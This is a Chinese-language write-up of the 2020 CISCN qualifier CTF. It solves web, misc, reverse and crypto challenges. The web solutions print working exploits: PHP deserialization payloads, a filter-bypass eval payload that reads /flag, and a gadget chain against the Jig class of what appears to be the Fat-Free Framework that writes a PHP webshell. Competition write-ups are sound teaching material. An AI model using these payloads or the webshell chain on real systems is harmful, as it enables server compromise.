写在最前面 引用知乎

如何评价 2020 全国大学生信息安全竞赛(CISCN )?
image.png
image.png

CISCN2020线上初赛WP (华中-ATDream)

WEB

easytrick

find the flag.

<?php 
class trick{ 
    public $trick1; 
    public $trick2; 
    public function __destruct(){ 
        $this->trick1 = (string)$this->trick1; 
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ 
            die("你太长了"); 
        } 
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ 
            echo file_get_contents("/flag"); 
        } 
    } 
} 
highlight_file(__FILE__); 
unserialize($_GET['trick']);

image.png

打开后是这个页面,考点就是PHP弱类型再套一层反序列化。

直接写个EXP

<?php

$value = 2e308;
$trick1 = (string)$value;
$trick2 = $value;

error_reporting(E_ERROR);
printf("!==\t%d\n", $trick1 !== $trick2);
printf("md5\t%d\t%s\n", md5($trick1) === md5($trick2), md5($trick2));
printf("!=\t%d\n", $trick1 != $trick2);

if ($trick1 !== $trick2 && md5($trick1) === md5($trick2) && $trick1 != $trick2) {
    class trick
    {
        public $trick1;
        public $trick2;
        public function __destruct()
        {
            $this->trick1 = (string)$this->trick1;
            if (strlen($this->trick1) > 5 || strlen($this->trick2) > 5) {
                die("你太长了");
            }
            if ($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2) {
                echo file_get_contents("/flag");
            }
        }
    }
    $c = new trick;
    $c->trick1 = $value;
    $c->trick2 = $value;
    echo "payload:\n";
    print(serialize($c).PHP_EOL);
}

得到payload:O:5:"trick":2:{s:6:"trick1";d:INF;s:6:"trick2";d:INF;}

image.png

rceme

命令执行?

访问后的得到代码

<?php 
error_reporting(0); 
highlight_file(__FILE__); 
parserIfLabel($_GET['a']); 
function danger_key($s) { 
    $s=htmlspecialchars($s); 
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s); 
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){ 
        if(strpos($s,$val) !==false){ 
            die('很抱歉,执行出错,发现危险字符【'.$val.'】'); 
        } 
    } 
    if(preg_match("/^[a-z]$/i")){ 
        die('很抱歉,执行出错,发现危险字符'); 
    } 
    return $s; 
} 
function parserIfLabel( $content ) { 
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/'; 
    if ( preg_match_all( $pattern, $content, $matches ) ) { 
        $count = count( $matches[ 0 ] ); 
        for ( $i = 0; $i < $count; $i++ ) { 
            $flag = ''; 
            $out_html = ''; 
            $ifstr = $matches[ 1 ][ $i ]; 
            $ifstr=danger_key($ifstr,1); 
            if(strpos($ifstr,'=') !== false){ 
                $arr= splits($ifstr,'='); 
                if($arr[0]=='' || $arr[1]==''){ 
                    die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】'); 
                } 
                $ifstr = str_replace( '=', '==', $ifstr ); 
            } 
            $ifstr = str_replace( '<>', '!=', $ifstr ); 
            $ifstr = str_replace( 'or', '||', $ifstr ); 
            $ifstr = str_replace( 'and', '&&', $ifstr ); 
            $ifstr = str_replace( 'mod', '%', $ifstr ); 
            $ifstr = str_replace( 'not', '!', $ifstr ); 
            if ( preg_match( '/\{|}/', $ifstr)) { 
                die('很抱歉,模板中有错误的判断,请修正'.$ifstr); 
            }else{ 
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); 
            } 

            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { 
                switch ( $flag ) { 
                    case 'if': 
                        if ( isset( $matches2[ 1 ] ) ) { 
                            $out_html .= $matches2[ 1 ]; 
                        } 
                        break; 
                    case 'else': 
                        if ( isset( $matches2[ 2 ] ) ) { 
                            $out_html .= $matches2[ 2 ]; 
                        } 
                        break; 
                } 
            } elseif ( $flag == 'if' ) { 
                $out_html .= $matches[ 2 ][ $i ]; 
            } 
            $pattern2 = '/\{if([0-9]):/'; 
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) { 
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html ); 
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html ); 
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html ); 
                $out_html = $this->parserIfLabel( $out_html ); 
            } 
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content ); 
        } 
    } 
    return $content; 
} 
function splits( $s, $str=',' ) { 
    if ( empty( $s ) ) return array( '' ); 
    if ( strpos( $s, $str ) !== false ) { 
        return explode( $str, $s ); 
    } else { 
        return array( $s ); 
    } 
}

简单分析下,过滤了一些危险字符串,但是并没有什么用,直接上EXP。

<?php
    
function strencode($str) {
    $hex = [];
    for($i=0; $i < strlen($str); $i++) {
        $hex[] = 'hex2bin(dechex('.ord($str[$i]).'))';
    }
    $name = '('.implode('.', $hex).')';
    return $name;
}

$name = strencode('file_get_contents');
$file = strencode('/flag');
$payload = 'var_dump('.$name.'('.$file.'))';
// eval("$payload;");
printf("payload: {if:$payload}dx{end if}\n");

payload:

{if:var_dump((hex2bin(dechex(102)).hex2bin(dechex(105)).hex2bin(dechex(108)).hex2bin(dechex(101)).hex2bin(dechex(95)).hex2bin(dechex(103)).hex2bin(dechex(101)).hex2bin(dechex(116)).hex2bin(dechex(95)).hex2bin(dechex(99)).hex2bin(dechex(111)).hex2bin(dechex(110)).hex2bin(dechex(116)).hex2bin(dechex(101)).hex2bin(dechex(110)).hex2bin(dechex(116)).hex2bin(dechex(115)))((hex2bin(dechex(47)).hex2bin(dechex(102)).hex2bin(dechex(108)).hex2bin(dechex(97)).hex2bin(dechex(103)))))}dx{end if}

轻松获得flag

image.png

easyphp

我fork出来进程怎么可能会异常退出。

很遗憾,起床晚了,最终在比赛结束后的十分钟内做出来了,导致做出来但是没法提交了。

<?php 
    //题目环境:php:7.4.8-apache 
    $pid = pcntl_fork(); 
    if ($pid == -1) { 
        die('could not fork'); 
    }else if ($pid){ 
        $r=pcntl_wait($status); 
        if(!pcntl_wifexited($status)){ 
            phpinfo(); 
        } 
    }else{ 
        highlight_file(__FILE__); 
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){ 
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]); 
        } 
        posix_kill(posix_getpid(), SIGUSR1); 
    } 

之前一直想办法读Flag但是读不出,尝试了各种读法。

后面查阅了相关资料发现

image.png

调用 is_callable 的时候会暂停子进程 https://bugs.php.net/bug.php?id=78272

直接访问 /?a=is_callable 在phpinfo中获得flag

image.png

事后发现,similar_text也行(Fuzz一时爽,一直Fuzz一直爽)

image.png

babyunserialize

find the flag.

很遗憾,这题没有做出来,到最后一步发现本地复现成功,比赛环境无法复现。

image.png

打开就这样,随便扫描后发现,根目录下存在www.zip

down下来分析,又是反序列化

分析后发现这是唯一能写shell的地方

image.png

直接根据写出Payload

<?php
namespace DB;

//! In-memory/flat-file DB wrapper
class Jig {

    //@{ Storage formats
    const
        FORMAT_JSON=0,
        FORMAT_Serialized=1;
    //@}

    public
        //! UUID
        $uuid,
        //! Storage location
        $dir,
        //! Current storage format
        $format,
        //! Jig log
        $log,
        //! Memory-held data
        $data,
        //! lazy load/save files
        $lazy;



    /**
    *    Write data to memory/file
    *    @return int
    *    @param $file string
    *    @param $data array
    **/
    function write($file,array $data=NULL) {
        

        if (!$this->dir || $this->lazy)
            return count($this->data[$file]=$data);

        // var_dump("write", $file, $data);
        switch ($this->format) {
            case self::FORMAT_JSON:
                $out=json_encode($data,JSON_PRETTY_PRINT);
                break;
            case self::FORMAT_Serialized:
                $out=$fw->serialize($data);
                break;
        }
        // var_dump($this->dir.$file,$out);
        file_put_contents($this->dir.$file,$out);
    }

    /**
    *    save file on destruction
    **/
    function __destruct() {
        if ($this->lazy) {
            $this->lazy = FALSE;
            foreach ($this->data?:[] as $file => $data)
                $this->write($file,$data);
        }
    }

}


$o = new Jig;
$o->lazy = true;
$o->dir = './';
$o->format = Jig::FORMAT_JSON;
$o->data= [
    'dx.php' => ["<?php eval(\$_GET['dx']); ?>"]
];

$payload = '';
$payload = \serialize($o);

printf("payload: %s\n", $payload);

好的,神奇的一幕就发生了,本地测试,远程服务器搭建环境测试均成功,比赛容器写不进shell,可能还是我太菜了吧,或者思路错了。

littlegame

An evil dragon took the beautiful princess, let's take this challenge!

这题随便看了下,思路大概是override全局变量,node不太熟,关键点是set-value组件,放弃。

Misc

签到

今年有1040支参赛队伍,统计完成。

image.png

the_best_ctf_game

Do you know the best ctf game in the world!?

用winhex打开文件直接发现存在f.........l..........a..........g.........{

flag为flag{65e02f26-0d6e-463fbc63-2df733e47fbe}

电脑被黑

菜狗不小心删除了一些数据,您能帮他找到丢失的数据吗?

用winhex以磁盘打开文件找到一个dome程序和一个fakeflag.txt

ida打开dome使用f5查看main

对main写出逆向程序对fakeflag.txt操作

#include <cstdio>

int main(int argc, char* argv[])
{
    const auto path = R"(Z:\fakeflag.txt)";
    char v4 = 34;
    char v5 = 0;
    const auto v7 = fopen(path, "rb");
    const auto stream = fopen(path, "rb+");
    while (true)
    {
        const char v6 = fgetc(v7);
        if (v6 == -1)
            break;
        // fputc(v4 ^ (v5 + v6), stream);
        fputc((v4 ^ v6) - v5, stream);
        v4 += 34;
        v5 = v5 + 2 & 0xF;
        
    }
    fclose(v7);
    fclose(stream);
}

得到结果

用winhex在dome中搜索fakeflag.txt原本的数据的前5个字节442A03E529得到另一份数据

将这份数据放到放到fakeflag.txt里运行逆向程序可得

flag为flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}

Reverse

z3

看到题目的意思就知道是要用z3包,也就是解方程

打开ida,查看方程式

image.png

在去查看判断

image-20200821111026268.png

发现des和v4做比较,Des是从unk_404020复制过来的,所以

image-20200821111105391.png

查看unk_404020

image-20200821111303716.png

由于v4到v45全是int类型,那么我们的byte404020也得是int类型

用idapython打印这里的数值for i in range(0x30):print(str(hex(Dword(0x404020+i*4)))+',')

获取数据后把方程式添加到z3里,在解方程,转换为字符后在打印输出

from z3 import *
#z3
#idapython提取里面的数据 for i in range(0x30):print(str(hex(Dword(0x404020+i*4)))+',')
v=[0x4f17,
0x9cf6,
0x8ddb,
0x8ea6,
0x6929,
0x9911,
0x40a2,
0x2f3e,
0x62b6,
0x4b82,
0x486c,
0x4002,
0x52d7,
0x2def,
0x28dc,
0x640d,
0x528f,
0x613b,
0x4781,
0x6b17,
0x3237,
0x2a93,
0x615f,
0x50be,
0x598e,
0x4656,
0x5b31,
0x313a,
0x3010,
0x67fe,
0x4d5f,
0x58db,
0x3799,
0x60a0,
0x2750,
0x3759,
0x8953,
0x7122,
0x81f9,
0x5524,
0x8971,
0x3a1d,
0x0,
0x0,
0x0,
0x0,
0x0,
0x0]
#在将数值和公式添加到方程式组里,求解即可
p=Solver()
s=[0]*256
for i in range(256):
    s[i]=Int('s['+str(i)+']')
p.add(34 * s[3] + 12 * s[0] + 53 * s[1] + 6 * s[2] + 58 * s[4] + 36 * s[5] + s[6]==v[0])
p.add(27 * s[4] + 73 * s[3] + 12 * s[2] + 83 * s[0] + 85 * s[1] + 96 * s[5] + 52 * s[6]==v[1])
p.add(24 * s[2] + 78 * s[0] + 53 * s[1] + 36 * s[3] + 86 * s[4] + 25 * s[5] + 46 * s[6]==v[2])
p.add(78 * s[1] + 39 * s[0] + 52 * s[2] + 9 * s[3] + 62 * s[4] + 37 * s[5] + 84 * s[6]==v[3])
p.add(48 * s[4] + 14 * s[2] + 23 * s[0] + 6 * s[1] + 74 * s[3] + 12 * s[5] + 83 * s[6]==v[4])
p.add(15 * s[5] + 48 * s[4] + 92 * s[2] + 85 * s[1] + 27 * s[0] + 42 * s[3] + 72 * s[6]==v[5])
p.add(26 * s[5] + 67 * s[3] + 6 * s[1] + 4 * s[0] + 3 * s[2] + 68 * s[6]==v[6])
p.add(34 * s[10] + 12 * s[7] + 53 * s[8] + 6 * s[9] + 58 * s[11] + 36 * s[12] + s[13]==v[7])
p.add(27 * s[11] + 73 * s[10] + 12 * s[9] + 83 * s[7] + 85 * s[8] + 96 * s[12] + 52 * s[13]==v[8])
p.add(24 * s[9] + 78 * s[7] + 53 * s[8] + 36 * s[10] + 86 * s[11] + 25 * s[12] + 46 * s[13]==v[9])
p.add(78 * s[8] + 39 * s[7] + 52 * s[9] + 9 * s[10] + 62 * s[11] + 37 * s[12] + 84 * s[13]==v[10])
p.add(48 * s[11] + 14 * s[9] + 23 * s[7] + 6 * s[8] + 74 * s[10] + 12 * s[12] + 83 * s[13]==v[11])
p.add(15 * s[12] + 48 * s[11] + 92 * s[9] + 85 * s[8] + 27 * s[7] + 42 * s[10] + 72 * s[13]==v[12])
p.add(26 * s[12] + 67 * s[10] + 6 * s[8] + 4 * s[7] + 3 * s[9] + 68 * s[13]==v[13])
p.add(34 * s[17] + 12 * s[14] + 53 * s[15] + 6 * s[16] + 58 * s[18] + 36 * s[19] + s[20]==v[14])
p.add(27 * s[18] + 73 * s[17] + 12 * s[16] + 83 * s[14] + 85 * s[15] + 96 * s[19] + 52 * s[20]==v[15])
p.add(24 * s[16] + 78 * s[14] + 53 * s[15] + 36 * s[17] + 86 * s[18] + 25 * s[19] + 46 * s[20]==v[16])
p.add(78 * s[15] + 39 * s[14] + 52 * s[16] + 9 * s[17] + 62 * s[18] + 37 * s[19] + 84 * s[20]==v[17])
p.add(48 * s[18] + 14 * s[16] + 23 * s[14] + 6 * s[15] + 74 * s[17]+ 12 * s[19] + 83 * s[20]==v[18])
p.add(15 * s[19] + 48 * s[18] + 92 * s[16] + 85 * s[15] + 27 * s[14] + 42 * s[17] + 72 * s[20]==v[19])
p.add(26 * s[19] + 67 * s[17] + 6 * s[15] + 4 * s[14] + 3 * s[16] + 68 * s[20]==v[20])
p.add(34 * s[24] + 12 * s[21] + 53 * s[22] + 6 * s[23]+ 58 * s[25] + 36 * s[26] + s[27]==v[21])
p.add(27 * s[25] + 73 * s[24] + 12 * s[23] + 83 * s[21] + 85 * s[22]+ 96 * s[26] + 52 * s[27]==v[22])
p.add(24 * s[23] + 78 * s[21] + 53 * s[22] + 36 * s[24] + 86 * s[25]+ 25 * s[26] + 46 * s[27]==v[23])
p.add(78 * s[22] + 39 * s[21]+ 52 * s[23] + 9 * s[24] + 62 * s[25] + 37 * s[26]+ 84 * s[27]==v[24])
p.add(48 * s[25] + 14 * s[23] + 23 * s[21] + 6 * s[22] + 74 * s[24]+ 12 * s[26]+ 83 * s[27]==v[25])
p.add(15 * s[26] + 48 * s[25] + 92 * s[23] + 85 * s[22] + 27 * s[21]+ 42 * s[24] + 72 * s[27]==v[26])
p.add(26 * s[26] + 67 * s[24] + 6 * s[22] + 4 * s[21] + 3 * s[23]+ 68 * s[27]==v[27])
p.add(34 * s[31] + 12 * s[28] + 53 * s[29] + 6 * s[30] + 58 * s[32]+ 36 * s[33]+ s[34]==v[28])
p.add(27 * s[32] + 73 * s[31] + 12 * s[30]+ 83 * s[28]+ 85 * s[29] + 96 * s[33]+ 52 * s[34]==v[29])
p.add(24 * s[30] + 78 * s[28] + 53 * s[29] + 36 * s[31] + 86 * s[32] + 25 * s[33]+ 46 * s[34]==v[30])
p.add(78 * s[29] + 39 * s[28] + 52 * s[30] + 9 * s[31] + 62 * s[32]+ 37 * s[33]+ 84 * s[34]==v[31])
p.add(48 * s[32] + 14 * s[30]+ 23 * s[28] + 6 * s[29] + 74 * s[31]+ 12 * s[33]+ 83 * s[34]==v[32])
p.add(15 * s[33] + 48 * s[32] + 92 * s[30] + 85 * s[29] + 27 * s[28]+ 42 * s[31] + 72 * s[34]==v[33])
p.add(26 * s[33] + 67 * s[31] + 6 * s[29] + 4 * s[28] + 3 * s[30]+ 68 * s[34]==v[34])
p.add(34 * s[38] + 12 * s[35] + 53 * s[36] + 6 * s[37] + 58 * s[39]+ 36 * s[40]+ s[41]==v[35])
p.add( 27 * s[39] + 73 * s[38] + 12 * s[37] + 83 * s[35] + 85 * s[36]+ 96 * s[40]+ 52 * s[41]==v[36])
p.add( 24 * s[37] + 78 * s[35] + 53 * s[36] + 36 * s[38] + 86 * s[39]+ 25 * s[40]+ 46 * s[41]==v[37])
p.add(78 * s[36] + 39 * s[35] + 52 * s[37] + 9 * s[38] + 62 * s[39]+ 37 * s[40]+ 84 * s[41]==v[38])
p.add(48 * s[39] + 14 * s[37] + 23 * s[35] + 6 * s[36] + 74 * s[38]+ 12 * s[40] + 83 * s[41]==v[39])
p.add(15 * s[40] + 48 * s[39] + 92 * s[37] + 85 * s[36] + 27 * s[35] + 42 * s[38] + 72 * s[41]==v[40])
p.add(26 * s[40] + 67 * s[38] + 6 * s[36] + 4 * s[35] + 3 * s[37]+ 68 * s[41]==v[41])
p.check()
print(p.model())

s[19] = 52
s[32] = 52
s[9] = 49
s[1] = 108
s[10] = 100
s[31] = 49
s[37] = 101
s[38] = 54
s[0] = 102
s[14] = 54
s[26] = 48
s[28] = 45
s[8] = 55
s[39] = 52
s[21] = 49
s[36] = 102
s[22] = 56
s[17] = 57
s[29] = 54
s[16] = 98
s[2] = 97
s[23] = 45
s[25] = 57
s[3] = 103
s[15] = 51
s[24] = 57
s[11] = 52
s[12] = 51
s[33] = 99
s[35] = 97
s[18] = 45
s[30] = 101
s[40] = 56
s[7] = 49
s[4] = 123
s[5] = 55
s[41] = 125
s[34] = 50
s[27] = 101
s[20] = 101
s[13] = 45
s[6] = 101
#在输出求出来的解
for i in range(0,41):
    print(chr(s[i]),end="")

得到flag

image-20200821111529610.png

hyperthreading

这道题有许多的混淆指令,使得工具都无法正常的识别代码,导致许多地方无法正确的f5

首先打开ida,查找字符串,发现主要的部分

image-20200821112019427.png

点击纳入StartAddress函数里面,有许多为识别出的机器码

image-20200821112301551.png

咱们往上看可以发现一个问题,在0x401151这里,他有个jmp跳跃到0x401152的指令,很明显这是混淆指令把这里改为一个nop即可,然后再按C键转换为assembly

image-20200821112329622.png

接着往下看,发现这里也有个类似的指令,重复上面的操作

image-20200821112611151.png

往下看可以看到0CCh,这里我打开了od看了一下就是int3的意思,但我直接给nop掉了

image-20200821112738121.png

然后创建函数f5查看源码

image-20200821113024364.png

查看hHandle的时候,感觉有点奇怪,这里没有分析出来

image-20200821113631557.png

回到最先前的函数,查看loc_401200函数,跟前面的一样有混淆指令,改过来即可

image-20200821113817683.png

如果我没记错的话,当时写的时候还有+0x23然后jumpout的函数,但写wp的时候忘记怎么搞得了。

经过以上的分析,我在od里填写了10个'A'出来的全是96,我便猜测其加密方式是(((c<<6)^(c>>2))^0x23)+0x23

image-20200821114100095.png

然后经过这里的验证,证明了自己的猜测

image-20200821114234499.png

s=[0xdd,
0x5b,
0x9e,
0x1d,
0x20,
0x9e,
0x90,
0x91,
0x90,
0x90,
0x91,
0x92,
0xde,
0x8b,
0x11,
0xd1,
0x1e,
0x9e,
0x8b,
0x51,
0x11,
0x50,
0x51,
0x8b,
0x9e,
0x5d,
0x5d,
0x11,
0x8b,
0x90,
0x12,
0x91,
0x50,
0x12,
0xd2,
0x91,
0x92,
0x1e,
0x9e,
0x90,
0xd2,
0x9f,
0x0,
0x0]
i=0
temp=""
while i<len(s):
    for j in range(33,127):
        if((((((j<<6)^(j>>2))^0x23)+0x23)&255)==s[i]):
            i+=1
            print(chr(j&127),end="")
            break
print(temp)

得到flag

image-20200821114408793.png

Crypto

bd

数学在密码学里面很重要的!现在知道吃亏了吧!

观察已知的e可得出,可使用低解密指数攻击。

payload

#!/usr/bin/python
#coding:utf-8
import gmpy2
from Crypto.PublicKey import RSA
import ContinuedFractions, Arithmetic
from Crypto.Util.number import long_to_bytes 
def wiener_hack(e, n):
    frac = ContinuedFractions.rational_to_contfrac(e, n)
    convergents = ContinuedFractions.convergents_from_contfrac(frac)
    for (k, d) in convergents:
        if k != 0 and (e * d - 1) % k == 0:
            phi = (e * d - 1) // k
            s = n - phi + 1
            discr = s * s - 4 * n
            if (discr >= 0):
                t = Arithmetic.is_perfect_square(discr)
                if t != -1 and (s + t) % 2 == 0:
                    return d
    return False
def main():
    n = 86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289
    e = 46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
    c = 37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
    d = wiener_hack(e, n)
    m = pow(c,d,n)
    print long_to_bytes(m)


main()

image.png

题目下载

点我下载 icon_rolleyes.png